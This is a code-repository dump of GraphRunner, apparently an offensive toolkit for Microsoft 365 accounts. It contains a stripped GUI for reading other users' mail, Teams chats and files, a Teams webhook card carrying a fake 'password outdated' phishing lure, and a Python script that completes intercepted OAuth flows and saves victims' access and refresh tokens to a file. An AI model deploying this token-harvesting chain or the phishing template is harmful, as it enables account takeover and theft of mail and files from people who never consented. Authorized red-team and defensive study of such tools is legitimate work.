├── GraphRunner.ps1 ├── GraphRunnerGUI.html ├── IncomingWebhookTemplate.txt ├── LICENSE ├── PHPRedirector ├── AutoOAuthFlow.py ├── index.php ├── ip.php └── login.php ├── README.md └── default_detectors.json /GraphRunnerGUI.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | GraphRunner 7 | 353 | 354 | 355 |
356 |

GraphRunner

357 |

A GUI for the Microsoft Graph API

358 | 359 | 360 | 361 | 362 |

 363 |     
 364 | 
 365 |     
366 | 367 | 368 |

Custom API Request

369 |
370 | 371 | 372 | 373 | 374 | 375 | 381 | 382 | 383 | 384 | 385 | 386 | 387 |
388 | 389 |

 390 |     
391 | 392 | 393 |

Directory - Users

394 |

Required Perms: User.ReadBasic.All, User.Read.All, User.ReadWrite.All, Directory.Read.All, or Directory.ReadWrite.All

395 | 396 | 397 |

 398 |     
399 | 400 |
401 |
402 |

Directory - Groups

403 |

Required Perms: GroupMember.Read.All, Group.Read.All, Directory.Read.All, Group.ReadWrite.All, or Directory.ReadWrite.All

404 | 405 | 406 |
407 |
408 |
409 |
410 | 411 | 412 |

Email Viewer (Current User)

413 |

Required Perms: Mail.ReadBasic, Mail.Read, or Mail.ReadWrite

414 | 415 | 416 | 417 |

418 |
419 | 420 | 421 |
422 |
423 |
424 |
425 | 426 | 427 |

Email Viewer (Other Users)

428 |

Required Perms: Mail.Read.Shared or Mail.ReadWrite.Shared

429 |
430 | 431 |
432 | 433 |

434 | 435 |
436 | 437 |

438 | 439 |
440 |
441 |
442 |
443 | 444 | 445 |

Send Email

446 |

Required Perms: Mail.Send

447 |
448 | 449 | 450 | 451 | 452 | 453 | 454 | 455 | 456 | 457 |
458 |
459 |
460 |
461 | 462 | 463 |

Teams Chat Viewer (Direct Messages and Group Chat)

464 |

Required Perms: Chat.ReadBasic, Chat.Read, or Chat.ReadWrite

465 |
466 | 467 | 468 | 469 |
470 | 471 |
472 | 473 |

Send Message to Teams Chat:

474 |

Required Perms: ChatMessage.Send or Chat.ReadWrite

475 | 476 | 477 |
478 |
479 | 480 | 481 |

Teams Chat Viewer (Org Teams Channels)

482 |

Required Perms: Team.ReadBasic.All, TeamSettings.Read.All, TeamSettings.ReadWrite.All, User.Read.All, or User.ReadWrite.All

483 | 484 |
485 | 486 |
487 |
488 | 489 | 490 | 491 |

OneDrive My Files

492 |

Required Perms: Files.Read, Files.ReadWrite, Files.Read.All, Files.ReadWrite.All, Sites.Read.All, or Sites.ReadWrite.All

493 | 494 |
495 |
496 | 497 | 498 |

OneDrive Shared Files

499 |

Required Perms: Files.Read, Files.ReadWrite, Files.Read.All, Files.ReadWrite.All, Sites.Read.All, or Sites.ReadWrite.All

500 | 501 |
502 |
503 | 504 | 505 | 506 |

SharePoint

507 |

Required Perms:Sites.Read.All or Sites.ReadWrite.All AND Files.Read, Files.ReadWrite, Files.Read.All, or Files.ReadWrite.All

508 | 509 |

Drive List

510 |
511 |

Files and Folders

512 |
513 |
514 | 515 |

Site List

516 |
517 |

Files and Folders

518 |
519 |
520 | 521 |
522 | 523 | 524 | 525 | 2015 | 2016 | 2017 | -------------------------------------------------------------------------------- /IncomingWebhookTemplate.txt: -------------------------------------------------------------------------------- 1 | { 2 | "@type": "MessageCard", 3 | "@context": "http://schema.org/extensions", 4 | "themeColor": "0076D7", 5 | "summary": "Summary of the card content", 6 | "sections": [ 7 | { 8 | "activityTitle": "Urgent Security Alert", 9 | "facts": [ 10 | { 11 | "name": "Your Password Is Outdated.", 12 | "value": "Go to this legit link: www.legit.com" 13 | } 14 | ], 15 | "markdown": true 16 | } 17 | ] 18 | } 19 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Beau Bullock 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /PHPRedirector/AutoOAuthFlow.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import time 3 | import re 4 | import os 5 | import requests 6 | from datetime import datetime 7 | 8 | from watchdog.observers import Observer 9 | from watchdog.events import FileSystemEventHandler 10 | 11 | # DON'T RUN THIS IN YOUR WEB ROOT AS IT WILL OUTPUT ACCESS TOKENS 12 | # TO A FILE CALLED "access_tokens.txt" IN THE SAME DIRECTORY. IF 13 | # YOU DO THIS YOU MAY EXPOSE ACCESS TOKENS ON YOUR WEB SERVER. 14 | 15 | # Initialize OAuth credentials as global variables 16 | client_id = None 17 | client_secret = None 18 | redirect_uri = None 19 | scope = None 20 | 21 | # Initialize a set to store processed OAuth codes 22 | processed_codes = set() 23 | 24 | def complete_oauth_flow(auth_code): 25 | global client_id, client_secret, redirect_uri, scope 26 | 27 | if auth_code in processed_codes: 28 | # If the auth code has already been processed, skip processing 29 | return 30 | 31 | token_url = "https://login.microsoftonline.com/common/oauth2/v2.0/token" 32 | 33 | # Define the request parameters 34 | data = { 35 | "client_id": client_id, 36 | "scope": scope, 37 | "code": auth_code, 38 | "redirect_uri": redirect_uri, 39 | "grant_type": "authorization_code", 40 | "client_secret": client_secret, 41 | } 42 | 43 | try: 44 | # Make a POST request to obtain the access and refresh tokens 45 | response = requests.post(token_url, data=data) 46 | 47 | # Check if the request was successful 48 | if response.status_code == 200: 49 | # Parse the JSON response to extract tokens 50 | token_data = response.json() 51 | access_token = token_data.get("access_token") 52 | refresh_token = token_data.get("refresh_token") 53 | print("\nAccess Token:", access_token) 54 | print("Refresh Token:", refresh_token) 55 | 56 | # Get the current date and time 57 | timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") 58 | 59 | # Write access tokens with timestamp to a file (append mode) 60 | print("\n[*] Appending access tokens to access_tokens.txt") 61 | with open("access_tokens.txt", "a") as token_file: # Use "a" for append mode 62 | token_file.write(f"[{timestamp}] Access Token: {access_token}\n") 63 | token_file.write(f"[{timestamp}] Refresh Token: {refresh_token}\n") 64 | 65 | # Add the processed code to the set 66 | processed_codes.add(auth_code) 67 | else: 68 | print("[*] OAuth flow failed with status code:", response.status_code) 69 | print(response.text) 70 | except Exception as e: 71 | print("Error:", str(e)) 72 | 73 | class CodeFileHandler(FileSystemEventHandler): 74 | def on_modified(self, event): 75 | # Check if the event is a file and if it exists 76 | if event.is_directory or not os.path.exists(event.src_path): 77 | return 78 | 79 | # Define a regular expression pattern to match the entire OAuth code block 80 | oauth_code_pattern = r'OAuth Code:(.*?)\n\n\n' 81 | 82 | # Read the contents of the modified file (codes.txt) 83 | with open(event.src_path, 'r') as file: 84 | content = file.read() 85 | 86 | # Use regex to search for all OAuth code blocks in the content 87 | matches = re.findall(oauth_code_pattern, content, re.DOTALL) 88 | 89 | if matches: 90 | # Extract the last OAuth code block 91 | oauth_code_block = matches[-1].strip() 92 | code_detected = f"\n\n[*] Processed OAuth Code: {oauth_code_block}" 93 | 94 | # Check if the file is 'codes.txt' and delete it 95 | if os.path.basename(event.src_path) == 'codes.txt': 96 | os.remove(event.src_path) 97 | 98 | if code_detected not in processed_codes: 99 | print("\n[*] Detected new OAuth code. Now attempting to complete the OAuth flow...") 100 | # Call the function to complete the OAuth flow 101 | complete_oauth_flow(oauth_code_block) 102 | processed_codes.add(code_detected) 103 | print(code_detected) 104 | 105 | # Call the function to complete the OAuth flow 106 | complete_oauth_flow(oauth_code_block) 107 | 108 | def main(): 109 | global client_id, client_secret, redirect_uri, scope 110 | 111 | parser = argparse.ArgumentParser(description="OAuth Flow Script") 112 | parser.add_argument("-client-id", required=True, help="Your OAuth Client ID") 113 | parser.add_argument("-secret", required=True, help="Your OAuth Client Secret") 114 | parser.add_argument("-redirect-uri", required=True, help="Your OAuth Redirect URI") 115 | parser.add_argument("-scope", required=True, help="OAuth Scope") 116 | args = parser.parse_args() 117 | 118 | client_id = args.client_id 119 | client_secret = args.secret 120 | redirect_uri = args.redirect_uri 121 | scope = args.scope 122 | 123 | path = "/home/site/wwwroot/" # Directory where the 'codes.txt' file is located 124 | codes_file_path = os.path.join(path, "codes.txt") 125 | 126 | # Check if the codes.txt file exists and delete it 127 | if os.path.exists(codes_file_path): 128 | os.remove(codes_file_path) 129 | 130 | event_handler = CodeFileHandler() 131 | observer = Observer() 132 | observer.schedule(event_handler, path, recursive=False) 133 | observer.start() 134 | print("[*] Now watching for new OAuth codes written to", codes_file_path) 135 | try: 136 | while True: 137 | time.sleep(1) 138 | except KeyboardInterrupt: 139 | observer.stop() 140 | observer.join() 141 | 142 | 143 | if __name__ == "__main__": 144 | main() 145 | -------------------------------------------------------------------------------- /PHPRedirector/index.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /PHPRedirector/ip.php: -------------------------------------------------------------------------------- 1 | 16 | -------------------------------------------------------------------------------- /PHPRedirector/login.php: -------------------------------------------------------------------------------- 1 |